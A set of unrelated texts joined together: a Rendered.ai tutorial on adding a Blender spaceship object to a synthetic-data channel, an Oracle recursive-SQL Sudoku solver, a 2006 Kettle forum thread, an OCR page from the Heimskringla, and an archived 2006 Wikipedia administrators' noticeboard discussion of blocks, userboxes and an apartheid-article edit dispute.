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This tutorial will take you through adding a new object to the example channel. We will use a Volume to store a Blender object and use an Object Generator node to define how the 3D object can be loaded from the Volume. For this tutorial we will use a Spaceship Blender file that we found on Turbosquid, but you are free to use any Blender file you’d like.
Preparing the Blender File
To ensure the Blender object is properly loaded into the scene, we need to make sure the Spaceship Blender file is structured in a way that can be interpreted by the loader. We will also want to verify properties of the object to ensure its position, scale, and physics properties are appropriate. To do this we will start by opening the file in Blender. Blender can be downloaded from https://www.blender.org/download/. In this tutorial we used Blender 2.90 to match the Example channel’s Blender version.
Collection Structure
In Blender, we need to create a Collection (white box) and Parent Object (orange triangle) that share the same name. In this case, we want to call our object Spaceship, so we name both the Collection under Scene Collection and Object Spaceship. Note that we can still have other objects in the Blender file (Camera, Plane, Plane.001) that are not part of our Collection and thus will not be loaded into the scene when the Generator node is called.
Object Properties
Next we’ll ensure that some of the Blender object properties are configured so that the object is compatible with the channel. Things to consider in this step are object placement, size, physics, and materials.
Placement - We want to ensure the object’s center of mass is centered at 0,0,0 in the X, Y and Z coordinates. For the example channel this doesn’t need to be perfect but if it is too far off, the object can fall outside of the container. If your object location is not at [0,0,0] when centered, select the object and apply the Location translation in your 3D Viewport by selecting Object > Apply > Location.
Rotation - Sometimes we care about object rotation so we know the object’s orientation when its loaded into the scene. In the example channel we randomize this parameter so it doesn’t matter so much here.
Scale - Because the example channel objects are toys, we want to scale new objects added to the channel to be toy-sized. Ensure you double-check your units (in this example we are using Metric > Centimeters), and make sure the scale of your object is configured correctly. The measure tool can be helpful. After scaling, if your object isn’t set to [1,1,1] for the scale, select the object and apply the Scale transformation in your 3D Viewport by selecting Object > Apply > Scale.
Object Physics - For this channel we use gravity to drop the objects. We’ll want to enable the Rigid Body Physics under the Physics Properties tab.
Materials - Sometimes we care about the materials for an object, for example the Color Variation node that sets the color of a material is looking for specific property names. For this example we will ignore any material modifications.
Now that we have the object file configured, we can go ahead and save it. For this tutorial, we are saving our file as Spaceship.blend to keep consistent with the object name.
Adding the Object to a Volume
Since your user has Read-Only access to the example channel’s volume, we will need to upload the Blender file to another volume that is owned by your Organization. First we need to create a volume on the Rendered.ai Platform, to learn more about Volumes, see https://dadoes.atlassian.net/wiki/spaces/DG/pages/1576796161/Ana+Software+Architecture#Volumes.
Creating the Volume
To create a volume on the platform we will use create_managed_volume() call in the anatools SDK.
(anatools) anadev@test:/workspaces/example$ python
Python 3.7.7 (default, May 7 2020, 21:25:33)
[GCC 7.3.0] :: Anaconda, Inc. on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import anatools
>>> anatools.client()
Enter your credentials for the Rendered.ai Platform.
Email: test@rendered.ai
Password: ********
These are your organizations and workspaces:
default Organization fca0ef6b-1863-42f4-a2dc-ddd6c248dc95
Example 6cc85813-844c-4a98-9977-c74c047db3b4
Signed into Rendered.ai Platform with test@rendered.ai
The current workspace is: 6cc85813-844c-4a98-9977-c74c047db3b4
>>> client.create_managed_volume(name='custom', organizationId='fca0ef6b-1863-42f4-a2dc-ddd6c248dc95')
'3cabcc67-a398-4bee-aa1d-ecf67a72760f'
PY
The volumeId is returned from the create_managed_volume() call, we will use this value in the next step.
Mounting the Volume
To mount the volume, we’ll first want to add the volume to the example package’s package.yml file at example/packages/example/example/packages.yml. Under the volumes section we will add our new custom volume and under the objects section we will add our Spaceship Blender file.
packages.yml
volumes:
example: 'df8ad806-223b-4d56-a932-838da835ec62'
custom: '3cabcc67-a398-4bee-aa1d-ecf67a72760f'
objects:
YoYo:
filename: example:LowPoly.blend
Spaceship:
filename: custom:Spaceship.blend
YAML
Uploading the Object
Once we have updated the packages.yml file we can re-mount our channel using anamount.
(anatools) anadev@test:/workspaces/example$ anamount
Using channelfile found at ./example.yml.
If this is the wrong channel, specify a channelfile using the --channel argument.
Enter your credentials for the Rendered.ai Platform.
Email: test@rendered.ai
Password: ********
Mounting volume 3cabcc67-a398-4bee-aa1d-ecf67a72760f...complete!
Mounting volume df8ad806-223b-4d56-a932-838da835ec62...complete!
CODE
Notice that after mounting we see two directories under the example/data/volumes/ directory.
To add an file to this volume we can just drag and drop the file into the volume directory in the VSCode Explorer.
Adding the Generator Code
Now that we have our data in the volume, we can add the code to load and use the new object in the channel. To do this we need to add a new Generator node for the object, defining the loading code in the object_generators.py and the node schema in object_generators.yml.
object_generators.py
class Spaceship(Node):
"""
A class to represent the Spaceship node, a node that instantiates a generator for the Spaceship object.
"""
def exec(self):
logger.info("Executing {}".format(self.name))
return {"Spaceship Generator": get_blendfile_generator("example", ExampleChannelObject, "Spaceship")}
CODE
object_generators.yml
schemas:
Spaceship:
alias: Spaceship
inputs: []
outputs:
- name: Spaceship Generator
description: Spaceship Object
tooltip: Generator for the Spaceship Object
category: Objects
subcategory: Generators
color: "#246BB3"
YAML
Once we have updated these nodes, we can go ahead and test the implementation to ensure the changes worked as expected.
Testing Locally
To test these code changes, we’ll add the Spaceship object to our default graph and run the ana command. The changes to the example/graphs/default.yml file are shown below:
default.yml
nodes
Spaceship:
nodeClass: Spaceship
ObjectPlacement:
nodeClass: Random Placement
values: {Number of Objects: 20}
links:
Object Generators:
- {sourceNode: ColorToys, outputPort: Generator}
- {sourceNode: "Rubik's Cube", outputPort: "Rubik's Cube Generator"}
- {sourceNode: Mix Cube, outputPort: Mixed Cube Generator}
- {sourceNode: Spaceship, outputPort: Spaceship Generator}
CODE
Running the ana command will now produce the following output:
(anatools) anadev@test:/workspaces/example$ ana --channel example --graph graphs/default.yml
BASH
After we have tested locally, we can now deploy the changes to the channel to the platform. To deploy a channel, reference the Channel Deployment documentation atDeploying a Channel. We will be deploying over the custom_channel in our default Organization in this tutorial.
Using the new Object in a Graph
After the channel has successfully deployed, we can use our Generator in custom_channel graphs. In the Nodes section on the left, we should be able to find our Spaceship Generator under the Objects > Generators category. We will add this node to our graph.
Next we will configure the inputs and outputs of this node, in this case we will connect the Spaceship node’s Spaceship Generator output to the Object Generators input of the Random Placement node.
After we are happy with the graph we can create our new dataset with the Spaceship objects. Below are some examples of the images from a dataset created with this graph.
Congratulations, you have created your first generator node for the example channel! | ESSENTIALAI-STEM |
Recursive With Clause
with x( s, ind ) as
( select sud, instr( sud, ' ' )
from ( select
'53 7 6 195 98 6 8 6 34 8 3 17 2 6 6 28 419 5 8 79'
sud from dual )
union all
select substr( s, 1, ind - 1 ) || z || substr( s, ind + 1 )
, instr( s, ' ', ind + 1 )
from x
, ( select to_char( rownum ) z
from dual
connect by rownum <= 9
) z
where ind > 0
and not exists ( select null
from ( select rownum lp
from dual
connect by rownum <= 9
)
where z = substr( s, trunc( ( ind - 1 ) / 9 ) * 9 + lp, 1 )
or z = substr( s, mod( ind - 1, 9 ) - 8 + lp * 9, 1 )
or z = substr( s, mod( trunc( ( ind - 1 ) / 3 ), 3 ) * 3
+ trunc( ( ind - 1 ) / 27 ) * 27 + lp
+ trunc( ( lp - 1 ) / 3 ) * 6
, 1 )
)
)
select s
from x
where ind = 0
/
(Anton Scheffer) [Solving a Sudoku using Recursive Subquery Factoring]
Impressive code from our amici over at Amis. But also an impressive example of how far one can go outside the original domain of a language. I mean recursive queries? On the other hand this algorithm does not look too good in Scala or in Perl either. The mathematics of Sudoku are studied in depth. Sudoku has been shown to be NP-complete and of the many ways of solving Sudoku, dancing links and constraint programming seem to be very popular. (Typically, it takes milli seconds for a computer to solve a Sudoku.) | ESSENTIALAI-STEM |
PDA
View Full Version : Feature Request
kettle_anonymous
03-10-2006, 09:02 AM
Add Constants feature can become very powerful if constants can be added to input conditionally (based on logic). Right now only static constants that are allowed.
jbleuel
03-13-2006, 06:42 AM
Could you give us more info or an example for a better understanding ;-)
Thanks,
Jens
kettle_anonymous
03-14-2006, 05:59 PM
Lets say I have an excel file with 2 sets of data spanning 20 rows. Rows 1 through 10 belong to a type value 1 and rows 11-20 belong to a type value 2. Lets say the type value is a column in my source data set. I want to add a constant field on the value in the 'type value' column.
if <type value column> == 1
constant = X
if <type value column> == 2
constant = Y
Hope this makes sense.
jbleuel
03-14-2006, 11:21 PM
Why do you need the "non static constant"? Could you give us information about the hole transformation process? May be we could solve the problem another way...
Thanks a lot,
Jens
kettle_anonymous
03-15-2006, 11:04 AM
I want to transfom this data
col1col2col3col4
A1BC
D1EF
G1HI
J2KL
M2NO
into this
col1col2col3col4col5
A1BC1
D1EF2
G1HI3
J2KL1
M2NO2
where column 5 is a constant value based on column 1
thanks
MattCasters
03-15-2006, 11:11 AM
Hi,
Just write a small piece of javascript that compares col2 current record with the previous one.
Then just add a number allongside. Should be about 10 lines of code like this:
var prevCol2;
var col5 = 1;
if (prevCol2 != null )
{
}
prevCol2 = prevCol;
...
Cheers,
Matt | ESSENTIALAI-STEM |
Page:The Heimskringla; or, Chronicle of the Kings of Norway Vol 3.djvu/387
KINGS OF NORWAY. 37b which the mere ceremony of baptism Avas synonymous with noies. Christianity. But this is merely conjecture, not sanctioned by any antiquarian authority. These are not analogies common to all forms of religion, because arising from a common root — the sense of religion in the mind of man ; nor are they coincidences which may be com- mon to two religions totally unconnected with each other, be- cause formed among two bodies of mankind living under physical and social circumstances very similar, although in very different times and totally distinct countries ; but they are palpable imitations of ceremonial and arrangement, prov- ing that the one religion has been impressed by the other — has adopted ceremonies, observances, institutions, and doc- trines, from some obscure knowledge of the other. Mahomet, some centuries after Odin, has drawn much from Christianity. The true historical place of Odin, or rather of Odinism, — for Odin may not have been, like Mahomet, "^ an historical per- sonage, but merely a name given to several distinct con- querors known only by tradition, — would appear to be after Christianity and before Mahometanism ; and as the gene- alogies indicate, if fairly measured, about the 5th century. Hengist and Horsa are stated in the Saxon Chronicle to have been the sons of Wihtgils, who was the son of Witta ; and Witta was the son of Wecta, a son of Woden. This gene- alogy is rejected, because it brings Woden so near to his- torical times, making Hengist and Horsa the fourth in descent from the god or w^arrior Woden. Yet if we apply the same measure of seventeen years to each of these descents from the time of Hengist and Horsa (the year 449) upwards, we find a wonderful coincidence with the other Saxon gene- alogies of Cerdic, Ida, and Ella, and come within eight years of the two latter. One man of 79 years of age might have been the Odin or Woden of the Scandinavian genealogies, and of the Saxon — the ancestor of Hengist, Cerdic, Ella, and of Harald Haarfager, Gorm, Canute, if he had been born about the year 342, and had died about 421. But were the numerous followers of Odin without any religion before the 4th or 5th century? By no means; not more than the followers of Mahomet before his appearance in the 6th cen- tury. Odinism is a new patch upon an old garment. There has been evidently a polytheism, — a worship of Thor, B B 4 | WIKI |
Wikipedia:Administrators' noticeboard/Archive44
Zeq banned from Israeli apartheid (phrase).
See. This ban may be lifted at any time by any administrator who disagrees with it, though I would request that they register their reasons for doing so here and/or on my talk page. Thank you.--Sean Black 02:21, 31 May 2006 (UTC)
* FWIW I totally agree with your action. Metamagician3000 02:56, 31 May 2006 (UTC)
I've moved HOTR's original request from the arbitration page to WP:AE and asked him to use that page in future. --Tony Sidaway 03:15, 31 May 2006 (UTC)
Zeq has just violated the ban. Homey 04:21, 31 May 2006 (UTC)
* Nothing said anything about the Talk page, only the actual article. --Avillia (Avillia me!) 04:29, 31 May 2006 (UTC)
Whoops, you're correct - template says he can still edit the talk page.Homey 04:38, 31 May 2006 (UTC)
* Blocked for votespamming for the articles' AFD Will ( E @ ) T 22:07, 2 June 2006 (UTC)
* This block was in clear violation of several wikipedia policies. Please see this: User_talk:Sceptre and replace the block with a warnning. I appologize from having to work from this and can not log in, but it seems despite the unblock template put on my talk page no one is paying attention. Singed: Zeq editing from: <IP_ADDRESS> 10:53, 3 June 2006 (UTC)
Zeq, did you post the above while you were blocked by Sceptre? It's a serious offence to cirumvent blocks in this way. Homey 22:09, 7 June 2006 (UTC)
Religious Userboxes, specifically Template:User Christian
I invite all administrators to view my closing of the most recent DRV on this now notorious template. After three times through DRV, I have tried to settle this matter, although I am by no means authorative. It simply seems to me that earnestly religious userboxes are the last group of templates that need to be drawn into the userbox conflict. I hope, too, to see the template space clear and purely encyclopedic one day, but there is no consensus on that matter yet. Until there is, this species of template -- the type most likely to tug at the hearts, and invoke the fiercest loyalties, of the greatest number of users -- should be left in peace. As I suggested in closing the DRV, I suggest here: speedy deleters of these templates should be considered disruptive. The userbox conflict will only become more poisonous if religion long remains one of its foci. Xoloz 16:17, 7 June 2006 (UTC)
It's time to get all German on that userbox. -- Cyde↔Weys 16:52, 7 June 2006 (UTC)
Done! Should be no more problems with this one ever again. -- Cyde↔Weys 17:05, 7 June 2006 (UTC)
Now, I actually have no problem hosting that userbox in my userspace (hell, if it will stop the userbox conflict, I'll host them ALL), but I will point out it might have been nice to have asked me before putting something in my userspace. I can see why some people might think you're a bit intemperate and injudicious, Cyde. Do be careful to be polite. Xoloz 17:24, 7 June 2006 (UTC)
Leaving no redirect at the old template pages with slightly over 70 red links in whatlinkshere is hardy "done." Once again, "problems" were created by an admin's actions. That "solution" wasn't all German by a long shot, just enough to serve a specific agenda. If admins would agree to a respectful migration process, it probably could go a bit smoother. If Cyde and Xoloz support it, I'll volunteer to put in a redirect, bypass it with AWB, and then replace the redirect with. If someone wants to protect the old page after that, live it up. Rfrisbietalk 17:46, 7 June 2006 (UTC)
* As I say, I've soft redirected. Let me know however I can help to migrate. :) I believe in smooth and cooperative processes, and support them always. Xoloz 17:50, 7 June 2006 (UTC)
* Thanks! Have you thrown in your two-cents worth at WP:TGS yet? I'm sure your contributions there would go a long way toward moving this thing down the road. :-) Rfrisbietalk 18:30, 7 June 2006 (UTC)
* The one bit I added to Cyde's compromise was to soft redirect the template to my userspace. After consideration, I'm thrilled with the German Solution, so anyone may move any userbox he/she wishes to my userspace, conveniently created by Cyde, without having to ask. Yes -- any template: Star Trek haters, Republicans, even worse (only worse in the sense of being "less like Xoloz"), I don't care. If it will ease userbox tensions, go bananas with it. Xoloz 17:50, 7 June 2006 (UTC)
* I would have preferred to see a hard redirect followed by some cleanup work to change all references. But I'm not going to quibble. Xoloz' close is acceptable though not ideal. --Tony Sidaway 17:54, 7 June 2006 (UTC)
* As you might imagine, I have no problem with a hard redirect either; however, there are those who vigorously oppose all new cross-namespace redirects. By soft redirecting, I have sought only to mollify that concern. If you believe hard is better, be my guest. Xoloz 17:58, 7 June 2006 (UTC)
* Oh, I hard redirected. It would probably be a good idea not to delete the redirect, as it would likely cause all sorts of complaints. (I added a note in the redirect, but apparently nothing else will show up in a redirect.) —Ashley Y 23:41, 7 June 2006 (UTC)
If someone gives me a big list of old template names and their new userspace locations I can just have Cydebot do a batch run. Here's an example of the format I'm looking for (note that Template: shouldn't be included, but User: should): -- Cyde↔Weys 17:58, 7 June 2006 (UTC)
* 'User Christian' 'User:Xoloz/UBX/User Christian'
* 'User Buddhist' 'User:Xoloz/UBX/User Buddhist'
* etc. ...
Zeq circumvented block implemented by administrator Sceptre
Over the weekend, User:Zeq was blocked for 48 hours by User:Sceptre for vote stacking. He circumented the ban with this post. Homey 22:13, 7 June 2006 (UTC)
* I've warned Zeq that this is not permitted and asked him never to do it again, should he be blocked. --Tony Sidaway 22:39, 7 June 2006 (UTC)
* I signed my name very clearly, there was no attempt to mislead anyone. The blocking admin could at least notify me on the block and comunicate with me on my talk page. He did not. There were several other violations of the blocking policy that had to do with that block and comunication (on my talk page) was the first step required by the blocking admin did not bother so I had to go to his talk page. Zeq 03:55, 8 June 2006 (UTC)
PS Anyone who is bothering to get up in arms about this one (I only left a meesage on the blocking admin talk page, it is not that I have tried to edit any specific articvle to circumvent the block) seem to be putting by far more emphais on "rules" than on common sense. Just one more part in vandeta against me. I suggest this complaint will be removed. I have done nothing wrong and caused no harm. Zeq 03:57, 8 June 2006 (UTC)
Zeq you are not supposed to edit when you are blocked except on your own talk page it doesn't matter if you signed your name. Homey 05:15, 8 June 2006 (UTC)
I tried using my talk page but the blocking admin did not respond.
Homey, Why don't you start by obeying the rules yourself ? No harm was done by my actions above and you know it. All I did was comunicating (attempting to communicate) with a blocking admin who violated the blocking policy. Your complain here is a form of harrasment) . Read the blocking policy it is VERY clear - the blocking admin should have used my talk page but he did not.
You yourselfalso broken the same rules before (at least twice). As an admin you are supposed to know the rules and apply them. this was comunicated to you clearly here: http://en.wikipedia.org/w/index.php?title=User_talk:HOTR&diff=prev&oldid=57078266. Also let's not ignore tha fact that you yourself have edited (blocked people) while under a block and that you frequently edit under anon IP address (violation). Other abuses by you are investigated. Zeq 05:20, 8 June 2006 (UTC)
That is simply false and checkuser has proven that allegation false. Also, User:Sceptre did not violate blocking policy, the block against you for vote-stacking was entirely justified. You just can't accept that any disciplinary action against you is ever warranted, instead you try to blame everyone else for your misdeeds. It's tiresome. Homey 05:26, 8 June 2006 (UTC)
What you say is false, here are quotes from WP:Block:
"Users should be notified of blocks on their talk pages."
* The blocking admin did not do that
"If you disagree with a block, begin by discussing it with the blocking admin. "
* This is what I did and since he did not comunicate on my talk page i turned to his talk page.
The block itself was a violation of WP:Spam (and thus a violation of WP:Block since I was blocked for no good cause, for an untermined time (ended up being 56 hours, without anyone notifying me why or when it will end) Zeq 12:16, 8 June 2006 (UTC)
Alex Kapranos impersonation
An IP,, appears to be attempting the impersonate (or possibly is) the lead singer of Franz Ferdinand, Alex Kapranos. He is signing all edits related to the band AK, and has deleted a section from Alex Kapranos with the edit summary "My relationship is private. Comments on the state of it can only be conjecture if posted here. - AK". Does this violate Username policy, since while he is probably trying to impersonate AK, it is using an IP address, not a username of a famous person. smurrayinch e ster(User), (Talk) 22:14, 7 June 2006 (UTC)
Redirect assistance?
I created a redirect for disc one to Disc One: All Their Greatest Hits 1991-2001 and it worked; but then I realized that Disc One wouldn't redirect because of caps, so I set Disc One to redirect, and it worked properly. but now the disc one page won't redirect. It just sits there. I Don't think the page is needed anymore thought because disc one would bring up Disc One unless there's a non-cap article in existance, right? Thanks TheHYPO 01:43, 8 June 2006 (UTC)
* WFM. Snottygobble 02:00, 8 June 2006 (UTC)
* If you're looking to make wikilinks work, then both capitalizations are necessary (wikilinks are case sensitive). If you're looking to make the go button work, the two redirects you've added are equivalent (either enables entry of any capitalization of "disc one" to "go" to the article). -- Rick Block (talk) 02:06, 8 June 2006 (UTC)
User Using 34-Pixel High Image as Signature Despite Being Asked Not To
Not an active incident, but a heads-up that User:Kittyslasher has a huge image as their signature — see Articles_for_deletion/Doom Jenga, the one that says "this hoax really sucks poop!" (yeah, that's a cut-and-paste of his comment). He's been asked already. Reference is WP:SIG: "Images of any kind should not be used in signatures." Obliged! — Mike • 02:01, 8 June 2006 (UTC)
* The block log shows that this user has already been indefinitely blocked by SushiGeek as a sock of Nintendude. --bainer (talk) 02:39, 8 June 2006 (UTC)
* Thanks. For some reason, I didn't see that. — Mike • 03:10, 8 June 2006 (UTC)
Possible sneaky vandalism at Fishguard and Capinota
I have been coming accross some strange looking edits on Fishguard today. After an attempt to cleanup the article I noticed that the text was the result of edits from newly created accounts and an anon, who also (and only) made similar edits to Capinota which is a totally unrelated subject. Accounts in question:. Can someone take a look and let me know what they think. Agathoclea 20:28, 4 June 2006 (UTC)
* Explanation on . Agathoclea 13:04, 8 June 2006 (UTC)
User:Xed
Jimbo Wales has banned. Following this, Anittas and abused User talk:Anittas for the purpose of trolling. When this was protected, Xed continued by using the user page as a talk page. Looking at Xed's recent contributions I see nothing but trolling. I have blocked him for one week. Presented here for review. --Tony Sidaway 15:39, 5 June 2006 (UTC)
* I'm not a sysop, but this looks like a legitimate block. Much trolling under the guise of being a freedom fighter for those maligned by "The Leader". Few contibs otherwise. Good block. -- Samir धर्म 15:49, 5 June 2006 (UTC)
* I've just realised that Xed is on personal attack parole. Some of his recent edits qualify as personal attacks so I will enter this block into the log on Requests_for_arbitration/Xed_2 (there is no log there at present, I'll have to create it). --Tony Sidaway 15:59, 5 June 2006 (UTC)
* Xed asked Jimbo nicely and was unblocked. --Tony Sidaway 16:14, 5 June 2006 (UTC)
Xed began his Wikipedia career with attacks on Jimbo. I see little has changed. User:Zoe|(talk) 17:26, 5 June 2006 (UTC)
* I do not see how Xed and Anittas's actions on the latter's talk page in any way constitute abuse and trolling. They simply discussed the fact that Wales's indefinite block of Anittas was unjust and discussed possible ways of rectifying this error in judgement on Jim's part. Are users not allowed to challange or at least discuss the decisions of administrators on their own talk pages? Anittas might have gone a bit too far at the end, but you can surely understand his anger and frustration and his impulsive block, but Xed truly did not engage in any form of abuse or trolling, he simply criticized some of Wales's actions and then criticized Sidaway's action of blocking the talk page which even to me appeared ridiculous in the extreme. Vox Populi (TSO) 17:31, 5 June 2006 (UTC)
* You don't consider this abuse? User:Zoe|(talk) 17:35, 5 June 2006 (UTC)
* Had he written that statement in bad faith solely in an attempt to blacken Wales's name, it would have been one thing. However, I am certain that he truly believes that the ban was inappropriate (particuarly in the case of Anittas where he posted the same statement) and that those users were banned not as much for their participation in other sections of Wikipedia, but rather for criticizing Wales, and he wrote a brief and concise message to that effect where the topic was being discussed. Vox Populi (TSO) 17:43, 5 June 2006 (UTC)
I have very mixed feelings about this situation. I am quite unhappy that the page User talk:Anittas has been protected. I don't think that the remarks that Xed (with whom, to put it mildly, I have had my conflicts) and Anittas made there constitute trolling, but even if they did, trolling usually calls for "do not feed". Period. Anittas is a controversial contributor (and by "controversial" I mean much could be, and has been, said both for and against him). It seems to me to be odd to block precisely the page where those things might appropriately be said. Is there a different forum where discussion can take place, and where that discussion will not be perforce confined to administrators? - Jmabel | Talk 23:21, 6 June 2006 (UTC)
* Your points are well made as usual. - Xed 23:52, 6 June 2006 (UTC)
* Perhaps "stupid timewasting" might be a more charitable fit to Xed's recent edits. Anittas I don't know so well but if his edits on User talk:Jimbo Wales are a guide his contributions to the encyclopedia are unlikely to be missed. Xed is especially blessed; he has been unblocked twice by Jimbo Wales. --Tony Sidaway 23:55, 6 June 2006 (UTC)
* OK, Tony, it is clear where you stand, but none of this even begins to explain why you protected User talk:Anittas. In particular, if I understand correctly the way that blocks work, that is the one page that Anittas as a blocked user may legitimately access, and where he could state his case against being blocked. It is also the page where I would expect to have discussion of the block. At least two other Admins besides myself have, on that page, expressed doubts — and I think "doubts", not "opposition" is the right word — about the whether the block was appropriate. And for my simply raising questions and concerns about process, FeloniousMonk has basically challenged me to go "lecture" Jimbo. I have no intention of "lecturing" Jimbo or anyone else. If it has come to the point where as an Admin and a major contributor (and, I believe, a good one; if someone thinks otherwise, I would welcome an RFC rather than cheap shots on talk pages) I am not welcome to ask questions, then it seems to me we've got a problem a lot bigger than whether this particular user should be banned. Again: I think the situation merits discussion. I don't think that discussion should be confined to Administrators. I would like to unprotect User talk:Anittas. (Note: to unprotect the talk page, not to unblock the user.) I would not like to find myself banned or blocked for doing so. Since I cannot get answers on that page to my questions, I am bringing the matter here. - Jmabel | Talk 06:14, 9 June 2006 (UTC)
University of Kent
A few admins might take a look at University of Kent. The edit war there concerns seriously potentially-libellous issues, and there seems to be at least one loose-cannon editor involved. AndyJones 13:06, 8 June 2006 (UTC)
The new <ref> function improvements
A lot of editors complain about a few bugs they've spotted (along with the goodies) in the new ref function, and even engage in debating and edit-warring about applying or removing it in articles! There's been an extensive (endless) discussion in the relevant talk page (Wikipedia talk:Footnotes). Such discussions often confuse developers who find it harder to recognise what the users desire, than to actually do it. I took the liberty to try and bring these proposals together and formulate a comprehensive proposal for the developers, which has been put to vote. Since most admins here are experienced editors, and probably have a good understanding of these issues, I would like to encourage your participation in the poll, and/or your comments if you so wish. I would also appreciate help with poll procedural issues, since it is my first one. N i k o S il v e r (T) @ (C) 15:08, 8 June 2006 (UTC)
* Good work in taking this on, NikoSilver. Jkelly 16:04, 8 June 2006 (UTC)
* Looks good! Snoutwood (talk) 16:09, 8 June 2006 (UTC)
* Thanks. I just wish I myself could write the darn code too... N i k o S il v e r (T) @ (C) 16:33, 8 June 2006 (UTC)
Disambiguation vandalism
A few users opposed to the article Israeli apartheid remove continuously the link to apartheid (disambiguation) from the apartheid proper article. I have used my daily rates of three edits in order to restore the link. Hope some administrator cares to take a look at it. Best regards Bertilvidet 18:00, 8 June 2006 (UTC)
* Read WP:3RR. "Daily rates of three edits"- three reverts a day are not an entitlement... --Lord Deskana Dark Lord of the Sith 18:04, 8 June 2006 (UTC)
* Seems like Bertilvidet is admiting above that he haas turned wikipedia into a battleground and does not understand WP:Point as weel as WP:Not. Clearly the above issue is not a vandalism but a contetent dispute when some user have put a link that would lead people to Israeli apartheid from witin the article History of South Africa in the apartheid era. I fail to see why people who read about history need to get a link to one of wikipedia most non-NPOV article (have never stabalized going through edit-wars and protection all the time) unlesss of course the editor (and the team) that has places this link want to spread their political idology throughout wikipedia. Zeq 18:23, 8 June 2006 (UTC)
* I am aware of WP:3RR, which also explicitly excludes correction of simple vandalism (and I am not certain if my edits can be considered as such). The apartheid (disambiguation)article has been nominated for deletion, but failed. Attempts to undermine the disambiguation page should not continue at the article about South African Apartheid, where people do a good work. In this regad I believe Zeq's personal opinions on the concept of Israeli Apartheid are utterly irrelevant. Bertilvidet 18:43, 8 June 2006 (UTC)
* My personal views are indeed irelevent but policy violations of those who game the system are not:
* 09:34 June 8, 2006–06–08
* 09:53 June 8, 2006–06–08
* 10:00 June 8, 2006–06–08
* 17:43 June 8, 2006–06–08
* reported by Zeq 19:21, 8 June 2006 (UTC)
Thank you for documenting, what I stated above, that I three times have restored the disambiguation link, that user:Timothy Usher removed three times. May I suggest that we now let some admnistrator comment? Bertilvidet 19:38, 8 June 2006 (UTC)
* Regardless of the various controversy going on about the apartheid articles, the disambiguation link to Apartheid (disambiguation) should be at the top of History of South Africa in the apartheid era (per Disambiguation), since it redirects from Apartheid. I have left messages on User:Timothy Usher and User:Pecher explaining the details of disambiguation pages, and why the link is necessary, regardless of the disagreements going on. As for a 3RR violation, please list it at Administrators'_noticeboard/3RR. -- Nataly a 20:07, 8 June 2006 (UTC)
* I don't see why Bertilvidet has decided to flood this noticeboard with their grievances; this is not the right place to discuss content disputes. If Bertilvidet believes that removals of an unnecessary link constitute vandalism, then there are other noticeboards where vandalism is reported. Pecher Talk 20:19, 8 June 2006 (UTC)
* The chance that a wikipedia reader searching for "Apartheid" is actually looking for "Sexual Apartheid" (for example) is infinitessimal. The link, therefore, is a waste of space from the readers' point of view. It exists only to steer them towards wilfully biased articles about unrelated subjects created in the service not of scholarship, but of political activism. Several of the articles on the disambiguation page appear to have been created only to justify the disambiguation page itself, and to provide cover for the central purpose of making the political statement, "Israel is a lot like Apartheid-era South Africa" - a cynical abuse of this encyclopedia. The removal of the link plainly improves this article, and Wikipedia.Timothy Usher 20:46, 8 June 2006 (UTC)
The chance they are looking for "apartheid state" which has been used to refer to Israeli apartheid is reasonable as is the chance that someone is looking for apartheid applied to something to do with gays and lesbians without being clear on the term or some sort of apartheid dealing with the third world (global apartheid) without knowing the proper term. Homey 20:53, 8 June 2006 (UTC)
* The term "apartheid" refers solely to the practice of racial segregation in South Africa; even if the term was hijacked by left-wing activists for the purposes of vilifying Israel and the West. Disambiguation pages are not search aids; this disambiguation link is plain advertisement of articles started by Homey, articles that are nothing but political diatribes. Pecher Talk 21:07, 8 June 2006 (UTC)
* Amazing that you are still not aware about the concept Apartheid being used in several contexts. See for instance the entry in Britannica . Bertilvidet 21:37, 8 June 2006 (UTC)
* Bertilvidet, your source is not Britannica, but Merriam-Webster's Online Dictionary. The first definition is specific, the second only rhetorical and metaphorical, as a more serious dictionary would no doubt show.Timothy Usher 22:14, 8 June 2006 (UTC)
I might suggest moving this discussion to any number of more related pages, so that it can be used to work on the ongoing conflict. -- Nataly a 22:52, 8 June 2006 (UTC)
To User:Natalya
Your involvement in this matter was a result of a request by the prime instigator of the current mess we are in.
I suggest you that you look at this from the perspective of rarely under stood wikipedia policy WP:Point:
* Homey's point, a political one (which is a violation of WP:not) is to use wikipedia to spread the notion that "Israel is an apartheid state".
* Homey's has pushed this idea by creating an elaborate set of articles about apartheid (5 of them to be exact), at which point it seemed only natural to require a DAB page. (no doubt, Homey, an experienced admin, knows how to game the system. )
* Once the DAB page created homey has placed a link to this page in the article about history of South Africa and now each person that comes to wikipedia to look for "apartheid" may click the DAB page leading him/her to an article about the so-called "Israeli apartheid" and... presto the propagation of political message have been suucessful: Distributing political propaganda via wikipedia works !
BTW, the diff I placed above clearly show that Homey (the one edited the 4th diff) participated in an edit war to push his agenda - After Bert "exhausted" what he think of as "3 reverts per day" Homey jumps in the continue the edit-war. (This is also a violation of WP:Point: See WP:Point
* Since this whole effort is a clear violation of WP:Point I suggest you do not join this blunt policy violation.
I hope that in light of this being part of a bigger picture you would think of a better solution than to accept and support this policy violation. Zeq 21:31, 8 June 2006 (UTC)
* Zeq, has it still not come to your mind that the same behavior, reverting three times and then being replaced by another friend, was conducted by the other side? BTW, I really find the new nickname you gave me - Bert - cute, despite being a bit anglophonic ;-) Bertilvidet 21:46, 8 June 2006 (UTC)
* Not true. At first there was a legitimate edit, you started the edit-war by reverting this edit. Next were only 2 reverts (not that I aprove of participating in the edit war) so he actually never reached 3. You on the other hand based on your own admission above violated WP:Point - read it, understand it and live by it. Zeq 21:57, 8 June 2006 (UTC)
* Which edit you find legimate is your opinion, not an objective fact. Check the history page and you will realize that Tim reverted three times today, and Pech then jumped in. I was unsure of the removal of the link qualified as simple vandalism, and thats why I stopped after three edits. Bertilvidet 22:23, 8 June 2006 (UTC)
* Indeed, you then solicited HOTR to revert on your behalf, which he did thirty-six minutes later.
* The proper use of the term "vandalism" is clearly explained in the relevant policy: good-faith edits are not vandalism. There was no reason, then, to be "uncertain" about it. However, accepting for the sake of discussion that you were uncertain, what changed between then and the time you titled this report, "Disambiguation vandalism?"Timothy Usher 22:34, 8 June 2006 (UTC)
* I came here in order to dicuss it. Bertilvidet 22:58, 8 June 2006 (UTC)
